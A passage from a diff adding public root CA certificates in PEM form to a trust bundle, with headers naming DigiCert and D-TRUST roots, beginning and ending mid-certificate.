+9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB
+CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97
+nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt
+43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P
+T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4
+gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO
+BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR
+TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw
+DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr
+hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg
+06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF
+PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls
+YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
+CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
+-----END CERTIFICATE-----
+
+# DigiCert Global Root G2
+-----BEGIN CERTIFICATE-----
+MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBh
+MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
+d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBH
+MjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVT
+MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
+b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkqhkiG
+9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI
+2/Ou8jqJkTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx
+1x7e/dfgy5SDN67sH0NO3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQ
+q2EGnI/yuum06ZIya7XzV+hdG82MHauVBJVJ8zUtluNJbd134/tJS7SsVQepj5Wz
+tCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyMUNGPHgm+F6HmIcr9g+UQ
+vIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQABo0IwQDAP
+BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV
+5uNu5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY
+1Yl9PMWLSn/pvtsrF9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4
+NeF22d+mQrvHRAiGfzZ0JFrabA0UWTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NG
+Fdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBHQRFXGU7Aj64GxJUTFy8bJZ91
+8rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/iyK5S9kJRaTe
+pLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl
+MrY=
+-----END CERTIFICATE-----
+
+# DigiCert Global Root G3
+-----BEGIN CERTIFICATE-----
+MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQsw
+CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu
+ZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAe
+Fw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVTMRUw
+EwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20x
+IDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0CAQYF
+K4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FG
+fp4tn+6OYwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPO
+Z9wj/wMco+I+o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAd
+BgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNpYim8S8YwCgYIKoZIzj0EAwMDaAAwZQIx
+AK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y3maTD/HMsQmP3Wyr+mt/
+oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34VOKa5Vt8
+sycX
+-----END CERTIFICATE-----
+
+# DigiCert High Assurance EV Root CA
+-----BEGIN CERTIFICATE-----
+MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs
+MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
+d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
+ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL
+MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
+LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug
+RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm
++9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW
+PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM
+xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB
+Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3
+hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg
+EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF
+MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA
+FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec
+nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z
+eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF
+hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2
+Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
+vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep
++OkuE6N36B9K
+-----END CERTIFICATE-----
+
+# DigiCert TLS ECC P384 Root G5
+-----BEGIN CERTIFICATE-----
+MIICGTCCAZ+gAwIBAgIQCeCTZaz32ci5PhwLBCou8zAKBggqhkjOPQQDAzBOMQsw
+CQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJjAkBgNVBAMTHURp
+Z2lDZXJ0IFRMUyBFQ0MgUDM4NCBSb290IEc1MB4XDTIxMDExNTAwMDAwMFoXDTQ2
+MDExNDIzNTk1OVowTjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJ
+bmMuMSYwJAYDVQQDEx1EaWdpQ2VydCBUTFMgRUNDIFAzODQgUm9vdCBHNTB2MBAG
+ByqGSM49AgEGBSuBBAAiA2IABMFEoc8Rl1Ca3iOCNQfN0MsYndLxf3c1TzvdlHJS
+7cI7+Oz6e2tYIOyZrsn8aLN1udsJ7MgT9U7GCh1mMEy7H0cKPGEQQil8pQgO4CLp
+0zVozptjn4S1mU1YoI71VOeVyaNCMEAwHQYDVR0OBBYEFMFRRVBZqz7nLFr6ICIS
+B4CIfBFqMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49
+BAMDA2gAMGUCMQCJao1H5+z8blUD2WdsJk6Dxv3J+ysTvLd6jLRl0mlpYxNjOyZQ
+LgGheQaRnUi/wr4CMEfDFXuxoJGZSZOoPHzoRgaLLPIxAJSdYsiJvRmEFOml+wG4
+DXZDjC5Ty3zfDBeWUA==
+-----END CERTIFICATE-----
+
+# DigiCert TLS RSA4096 Root G5
+-----BEGIN CERTIFICATE-----
+MIIFZjCCA06gAwIBAgIQCPm0eKj6ftpqMzeJ3nzPijANBgkqhkiG9w0BAQwFADBN
+MQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMT
+HERpZ2lDZXJ0IFRMUyBSU0E0MDk2IFJvb3QgRzUwHhcNMjEwMTE1MDAwMDAwWhcN
+NDYwMTE0MjM1OTU5WjBNMQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQs
+IEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0MDk2IFJvb3QgRzUwggIi
+MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCz0PTJeRGd/fxmgefM1eS87IE+
+ajWOLrfn3q/5B03PMJ3qCQuZvWxX2hhKuHisOjmopkisLnLlvevxGs3npAOpPxG0
+2C+JFvuUAT27L/gTBaF4HI4o4EXgg/RZG5Wzrn4DReW+wkL+7vI8toUTmDKdFqgp
+wgscONyfMXdcvyej/Cestyu9dJsXLfKB2l2w4SMXPohKEiPQ6s+d3gMXsUJKoBZM
+pG2T6T867jp8nVid9E6P/DsjyG244gXazOvswzH016cpVIDPRFtMbzCe88zdH5RD
+nU1/cHAN1DrRN/BsnZvAFJNY781BOHW8EwOVfH/jXOnVDdXifBBiqmvwPXbzP6Po
+sMH976pXTayGpxi0KcEsDr9kvimM2AItzVwv8n/vFfQMFawKsPHTDU9qTXeXAaDx
+Zre3zu/O7Oyldcqs4+Fj97ihBMi8ez9dLRYiVu1ISf6nL3kwJZu6ay0/nTvEF+cd
+Lvvyz6b84xQslpghjLSR6Rlgg/IwKwZzUNWYOwbpx4oMYIwo+FKbbuH2TbsGJJvX
+KyY//SovcfXWJL5/MZ4PbeiPT02jP/816t9JXkGPhvnxd3lLG7SjXi/7RgLQZhNe
+XoVPzthwiHvOAbWWl9fNff2C+MIkwcoBOU+NosEUQB+cZtUMCUbW8tDRSHZWOkPL
+tgoRObqME2wGtZ7P6wIDAQABo0IwQDAdBgNVHQ4EFgQUUTMc7TZArxfTJc1paPKv
+TiM+s0EwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcN
+AQEMBQADggIBAGCmr1tfV9qJ20tQqcQjNSH/0GEwhJG3PxDPJY7Jv0Y02cEhJhxw
+GXIeo8mH/qlDZJY6yFMECrZBu8RHANmfGBg7sg7zNOok992vIGCukihfNudd5N7H
+PNtQOa27PShNlnx2xlv0wdsUpasZYgcYQF+Xkdycx6u1UQ3maVNVzDl92sURVXLF
+O4uJ+DQtpBflF+aZfTCIITfNMBc9uPK8qHWgQ9w+iUuQrm0D4ByjoJYJu32jtyoQ
+REtGBzRj7TG5BO6jm5qu5jF49OokYTurWGT/u4cnYiWB39yhL/btp/96j1EuMPik
+AdKFOV8BmZZvWltwGUb+hmA+rYAQCd05JS9Yf7vSdPD3Rh9GOUrYU9DzLjtxpdRv
+/PNn5AeP3SYZ4Y1b+qOTEZvpyDrDVWiakuFSdjjo4bq9+0/V77PnSIMx8IIh47a+
+p6tv75/fTM8BuGJqIz3nCU2AG3swpMPdB380vqQmsvZB6Akd4yCYqjdP//fx4ilw
+MUc/dNAUFvohigLVigmUdy7yWSiLfFCSCmZ4OIN1xLVaqBHG5cGdZlXPU8Sv13WF
+qUITVuwhd4GTWgzqltlJyqEI8pc7bZsEGCREjnwB8twl2F6GmrE52/WRMmrRpnCK
+ovfepEWFJqgejF0pW8hL2JpqA15w8oVPbEtoL8pU9ozaMv7Da4M/OMZ+
+-----END CERTIFICATE-----
+
+# DigiCert Trusted Root G4
+-----BEGIN CERTIFICATE-----
+MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBi
+MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
+d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3Qg
+RzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBiMQswCQYDVQQGEwJV
+UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu
+Y29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0GCSqG
+SIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3y
+ithZwuEppz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1If
+xp4VpX6+n6lXFllVcq9ok3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDV
+ySAdYyktzuxeTsiT+CFhmzTrBcZe7FsavOvJz82sNEBfsXpm7nfISKhmV1efVFiO
+DCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGYQJB5w3jHtrHEtWoYOAMQ
+jdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6MUSaM0C/
+CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCi
+EhtmmnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADM
+fRyVw4/3IbKyEbe7f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QY
+uKZ3AeEPlAwhHbJUKSWJbOUOUlFHdL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXK
+chYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8oR7FwI+isX4KJpn15GkvmB0t
+9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB
+hjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD
+ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2
+SV1EY+CtnJYYZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd
++SeuMIW59mdNOj6PWTkiU0TryF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWc
+fFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy7zBZLq7gcfJW5GqXb5JQbZaNaHqa
+sjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iahixTXTBmyUEFxPT9N
+cCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN5r5N
+0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie
+4u1Ki7wb/UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mI
+r/OSmbaz5mEP0oUA51Aa5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1
+/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tKG48BtieVU+i2iW1bvGjUI+iLUaJW+fCm
+gKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP82Z+
+-----END CERTIFICATE-----
+
+# D-TRUST BR Root CA 1 2020
+-----BEGIN CERTIFICATE-----
+MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQsw
+CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS
+VVNUIEJSIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5
+NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG
+A1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB
+BAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7dPYS
+zuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0
+QVK5buXuQqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/
+VbNafAkl1bK6CKBrqx9tMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g
+PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2JyX3Jvb3Rf
+Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l
+dC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1
+c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO
+PQQDAwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFW
+wKrY7RjEsK70PvomAjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHV
+dWNbFJWcHwHP2NVypw87
+-----END CERTIFICATE-----
+
+# D-TRUST BR Root CA 2 2023
+-----BEGIN CERTIFICATE-----
+MIIFqTCCA5GgAwIBAgIQczswBEhb2U14LnNLyaHcZjANBgkqhkiG9w0BAQ0FADBI
+MQswCQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlE
+LVRSVVNUIEJSIFJvb3QgQ0EgMiAyMDIzMB4XDTIzMDUwOTA4NTYzMVoXDTM4MDUw
+OTA4NTYzMFowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEi
+MCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDIgMjAyMzCCAiIwDQYJKoZIhvcN
+AQEBBQADggIPADCCAgoCggIBAK7/CVmRgApKaOYkP7in5Mg6CjoWzckjYaCTcfKr
+i3OPoGdlYNJUa2NRb0kz4HIHE304zQaSBylSa053bATTlfrdTIzZXcFhfUvnKLNE
+gXtRr90zsWh81k5M/itoucpmacTsXld/9w3HnDY25QdgrMBM6ghs7wZ8T1soegj8
+k12b9py0i4a6Ibn08OhZWiihNIQaJZG2tY/vsvmA+vk9PBFy2OMvhnbFeSzBqZCT
+Rphny4NqoFAjpzv2gTng7fC5v2Xx2Mt6++9zA84A9H3X4F07ZrjcjrqDy4d2A/wl
+2ecjbwb9Z/Pg/4S8R7+1FhhGaRTMBffb00msa8yr5LULQyReS2tNZ9/WtT5PeB+U
+cSTq3nD88ZP+npNa5JRal1QMNXtfbO4AHyTsA7oC9Xb0n9Sa7YUsOCIvx9gvdhFP
+/Wxc6PWOJ4d/GUohR5AdeY0cW/jPSoXk7bNbjb7EZChdQcRurDhaTyN0dKkSw/bS
+uREVMweR2Ds3OmMwBtHFIjYoYiMQ4EbMl6zWK11kJNXuHA7e+whadSr2Y23OC0K+
+0bpwHJwh5Q8xaRfX/Aq03u2AnMuStIv13lmiWAmlY0cL4UEyNEHZmrHZqLAbWt4N
+DfTisl01gLmB1IRpkQLLddCNxbU9CZEJjxShFHR5PtbJFR2kWVki3PaKRT08EtY+
+XTIvAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZ5Dw1t61
+GNVGKX5cq/ieCLxklRAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRCMEAwPqA8oDqG
+OGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfYnJfcm9vdF9jYV8y
+XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQA097N3U9swFrktpSHxQCF16+tI
+FoE9c+CeJyrrd6kTpGoKWloUMz1oH4Guaf2Mn2VsNELZLdB/eBaxOqwjMa1ef67n
+riv6uvw8l5VAk1/DLQOj7aRvU9f6QA4w9QAgLABMjDu0ox+2v5Eyq6+SmNMW5tTR
+VFxDWy6u71cqqLRvpO8NVhTaIasgdp4D/Ca4nj8+AybmTNudX0KEPUUDAxxZiMrc
+LmEkWqTqJwtzEr5SswrPMhfiHocaFpVIbVrg0M8JkiZmkdijYQ6qgYF/6FKC0ULn
+4B0Y+qSFNueG4A3rvNTJ1jxD8V1Jbn6Bm2m1iWKPiFLY1/4nwSPFyysCu7Ff/vtD
+hQNGvl3GyiEm/9cCnnRK3PgTFbGBVzbLZVzRHTF36SXDw7IyN9XxmAnkbWOACKsG
+koHU6XCPpz+y7YaMgmo1yEJagtFSGkUPFaUA8JR7ZSdXOUPPfH/mvTWze/EZTN46
+ls/pdu4D58JDUjxqgejBWoC9EV2Ta/vH5mQ/u2kc6d0li690yVRAysuTEwrt+2aS
+Ecr1wPrYg1UDfNPFIkZ1cGt5SAYqgpq/5usWDiJFAbzdNpQ0qTUmiteXue4Icr80
+knCDgKs4qllo3UCkGJCy89UDyibK79XH4I9TjvAA46jtn/mtd+ArY0+ew+43u3gJ
+hJ65bvspmZDogNOfJA==
+-----END CERTIFICATE-----
+
+# D-TRUST EV Root CA 1 2020
+-----BEGIN CERTIFICATE-----
+MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQsw
+CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS
+VVNUIEVWIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5
+NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG
+A1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB
+BAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8ZRCC
+/N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rD
+wpdhQntJraOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3
+OqQo5FD4pPfsazK2/umLMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g
+PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2V2X3Jvb3Rf
+Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l
+dC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1
+c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO
+PQQDAwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CA
+y/m0sRtW9XLS/BnRAjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJb
+gfM0agPnIjhQW+0ZT0MW
+-----END CERTIFICATE-----
+
+# D-TRUST EV Root CA 2 2023
+-----BEGIN CERTIFICATE-----
+MIIFqTCCA5GgAwIBAgIQaSYJfoBLTKCnjHhiU19abzANBgkqhkiG9w0BAQ0FADBI
+MQswCQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlE
+LVRSVVNUIEVWIFJvb3QgQ0EgMiAyMDIzMB4XDTIzMDUwOTA5MTAzM1oXDTM4MDUw
+OTA5MTAzMlowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEi
+MCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDIgMjAyMzCCAiIwDQYJKoZIhvcN
+AQEBBQADggIPADCCAgoCggIBANiOo4mAC7JXUtypU0w3uX9jFxPvp1sjW2l1sJkK
+F8GLxNuo4MwxusLyzV3pt/gdr2rElYfXR8mV2IIEUD2BCP/kPbOx1sWy/YgJ25yE
+7CUXFId/MHibaljJtnMoPDT3mfd/06b4HEV8rSyMlD/YZxBTfiLNTiVR8CUkNRFe
+EMbsh2aJgWi6zCudR3Mfvc2RpHJqnKIbGKBv7FD0fUDCqDDPvXPIEysQEx6Lmqg6
+lHPTGGkKSv/BAQP/eX+1SH977ugpbzZMlWGG2Pmic4ruri+W7mjNPU0oQvlFKzIb
+RlUWaqZLKfm7lVa/Rh3sHZMdwGWyH6FDrlaeoLGPaxK3YG14C8qKXO0elg6DpkiV
+jTujIcSuWMYAsoS0I6SWhjW42J7YrDRJmGOVxcttSEfi8i4YHtAxq9107PncjLgc
+jmgjutDzUNzPZY9zOjLHfP7KgiJPvo5iR2blzYfi6NUPGJ/lBHJLRjwQ8kTCZFZx
+TnXonMkmdMV9WdEKWw9t/p51HBjGGjp82A0EzM23RWV6sY+4roRIPrN6TagD4uJ+
+ARZZaBhDM7DS3LAaQzXupdqpRlyuhoFBAUp0JuyfBr/CBTdkdXgpaP3F9ev+R/nk
+hbDhezGdpn9yo7nELC7MmVcOIQxFAZRl62UJxmMiCzNJkkg8/M3OsD6Onov4/knF
+NXJHAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUqvyREBuH
+kV8Wub9PS5FeAByxMoAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRCMEAwPqA8oDqG
+OGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfZXZfcm9vdF9jYV8y
+XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQCTy6UfmRHsmg1fLBWTxj++EI14
+QvBukEdHjqOSMo1wj/Zbjb6JzkcBahsgIIlbyIIQbODnmaprxiqgYzWRaoUlrRc4
+pZt+UPJ26oUFKidBK7GB0aL2QHWpDsvxVUjY7NHss+jOFKE17MJeNRqrphYBBo7q
+3C+jisosketSjl8MmxfPy3MHGcRqwnNU73xDUmPBEcrCRbH0O1P1aa4846XerOhU
+t7KR/aypH/KH5BfGSah82ApB9PI+53c0BFLd6IHyTS9URZ0V4U/M5d40VxDJI3IX
+cI1QcB9WbMy5/zpaT2N6w25lBx2Eof+pDGOJbbJAiDnXH3dotfyc1dZnaVuodNv8
+ifYbMvekJKZ2t0dT741Jj6m2g1qllpBFYfXeA08mD6iL8AOWsKwV0HFaanuU5nCT
+2vFp4LJiTZ6P/4mdm13NRemUAiKN4DV/6PEEeXFsVIP4M7kFMhtYVRFP0OUnR3Hs
+7dpn1mKmS00PaaLJvOwiS5THaJQXfuKOKD62xur1NGyfN4gHONuGcfrNlUhDbqNP
+gofXNJhuS5N5YHVpD/Aa1VP6IQzCP+k/HxiMkl14p3ZnGbuy6n/pcAlWVqOwDAst
+Nl7F6cTVg8uGF5csbBNvh1qvSaYd2804BC5f4ko1Di1L+KIkBI3Y4WNeApI02phh
+XBxvWHZks/wCuPWdCg==
+-----END CERTIFICATE-----
+
+# D-TRUST Root Class 3 CA 2 2009
+-----BEGIN CERTIFICATE-----
